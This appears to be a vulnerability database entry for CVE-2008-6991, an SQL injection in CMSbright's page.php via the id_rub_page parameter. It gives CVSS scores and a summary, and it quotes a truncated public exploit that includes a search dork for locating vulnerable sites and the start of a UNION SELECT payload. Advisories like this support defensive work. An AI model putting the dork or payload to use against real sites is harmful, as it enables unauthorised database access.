7.5
CVSSv2

CVE-2008-6991

Published: 19/08/2009 Updated: 29/09/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in public/page.php in Websens CMSbright allows remote malicious users to execute arbitrary SQL commands via the id_rub_page parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

cmsbright cmsbright

Exploits

------------------------------------------- Script : CMSbright site : wwwcmsbrightcom/ Author : BorN To K!LL Dork : powered by CMSbright © websens ------------------------------------------- Exploit : public/pagephp?id_rub_page=[SQL] Example : public/pagephp?id_rub_page=-9990+union+all+select+concat(vers ...